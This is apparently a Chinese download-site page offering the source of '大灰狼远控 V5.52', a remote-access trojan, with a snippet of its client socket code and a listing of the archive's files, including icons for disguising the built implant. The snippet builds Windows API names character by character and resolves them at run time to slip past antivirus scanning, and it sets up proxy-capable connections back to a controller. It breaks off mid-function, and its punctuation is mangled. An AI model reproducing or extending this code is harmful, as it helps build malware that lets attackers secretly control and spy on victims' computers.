资源简介
大灰狼远程控制
代码片段和文件信息
// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#include “StdAfx.h“
#include “Declare.h“ //动态调用库函数
#include “ClientSocket.h“
#include “.\common\zlib\zlib.h“
#include
#include “common/Manager.h“
#include “common/until.h“
#pragma comment(lib “ws2_32.lib“)
#include “Myfunction.h“ //自定义函数
extern Myfunction *Gyfunction;
//////////////////////////////////////////////////////////////////////
typedef int
(WSAAPI
*WSAIoctlT)(
IN SOCKET s
IN DWORD dwIoControlCode
IN LPVOID lpvInBuffer
IN DWORD cbInBuffer
OUT LPVOID lpvOutBuffer
IN DWORD cbOutBuffer
OUT LPDWORD lpcbBytesReturned
IN LPWSAOVERLAPPED lpOverlapped
IN LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = {0};
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = {0};
char CClientSocket::m_strPassWord[256] = {0};
CClientSocket::CClientSocket()
{
WSADATA wsaData;
char BrmAP22[] = {‘C‘‘r‘‘e‘‘a‘‘t‘‘e‘‘E‘‘v‘‘e‘‘n‘‘t‘‘A‘‘\0‘};
CreateEventAT pCreateEventA=(CreateEventAT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP22);
WSAStartup(MAKEWORD(2 2) &wsaData);
m_hEvent = pCreateEventA(NULL true false NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = {‘K‘ ‘u‘ ‘G‘ ‘o‘ ‘u‘};
Gyfunction->my_memcpy(m_bPacketFlag bPacketFlag sizeof(bPacketFlag));
}
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
char BrmAP30[] = {‘W‘‘a‘‘i‘‘t‘‘F‘‘o‘‘r‘‘S‘‘i‘‘n‘‘g‘‘l‘‘e‘‘O‘‘b‘‘j‘‘e‘‘c‘‘t‘‘\0‘};
WaitForSingleobjectT pWaitForSingleobject=(WaitForSingleobjectT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP30);
pWaitForSingleobject(m_hWorkerThread INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
char BrmAP29[] = {‘C‘‘l‘‘o‘‘s‘‘e‘‘H‘‘a‘‘n‘‘d‘‘l‘‘e‘‘\0‘};
CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)BrmAP29);
pCloseHandle(m_hWorkerThread);
pCloseHandle(m_hEvent);
WSACleanup();
}
bool CClientSocket::Connect(LPCTSTR lpszHost UINT nPort)
{
// 一定要清除一下,不然socket会耗尽系统资源
Disconnect();
// 重置事件对像
ResetEventT pResetEvent=(ResetEventT)GetProcAddress(LoadLibrary(“KERNEL32.dll“)“ResetEvent“);
pResetEvent(m_hEvent);
m_bIsRunning = false;
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET SOCK_STREAM IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);
i
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2013-03-07 15:08 大灰狼远控V5.52(2013稳定版)\
目录 0 2013-03-07 15:09 大灰狼远控V5.52(2013稳定版)\Bin\
目录 0 2013-03-07 15:08 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\
文件 25214 2006-12-10 21:06 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\01.ico
文件 22486 2006-11-26 01:37 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\02.ico
文件 19790 2007-03-17 23:11 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\03.ico
文件 3262 2012-11-11 10:07 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\04.ico
文件 14742 2006-11-13 21:40 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\05.ico
文件 8478 2001-04-02 18:32 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\06.ico
文件 11886 2001-03-22 21:33 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\07.ico
文件 1078 1998-10-26 05:37 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\08.ico
文件 8478 2001-03-21 13:52 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\09.ico
文件 10134 2011-06-12 20:17 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\10.ico
文件 2238 1999-08-24 13:13 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\11.ico
文件 2238 1999-08-24 13:14 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\12.ico
文件 1078 1998-06-22 07:06 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\13.ico
文件 1078 2003-01-10 20:36 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\14.ICO
文件 11502 2001-04-02 18:59 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\15.ico
文件 25214 2012-07-07 16:29 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\16.ico
文件 18718 2012-07-08 09:20 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\17.ICO
文件 99678 2010-03-16 09:37 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\18.ico
文件 161862 2006-06-12 18:00 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\19.ico
文件 99678 2010-11-11 17:53 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\20.ico
文件 164486 2009-07-13 23:54 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\21.ico
文件 100614 2010-04-01 18:24 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\22.ico
文件 1662 2009-01-06 18:15 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\23.ico
文件 25214 2012-06-16 23:18 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\24.ico
文件 277301 2010-05-24 20:09 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\25.ico
文件 17542 2011-04-23 09:07 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\26.ico
文件 16518 2011-05-29 13:05 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\27.ico
文件 28902 2009-06-25 20:45 大灰狼远控V5.52(2013稳定版)\Bin\ICO图标\28.ico
............此处省略95个文件信息
- 上一篇:基于神经网络的身份证号码识别算法
- 下一篇:政治.zip
评论
共有 条评论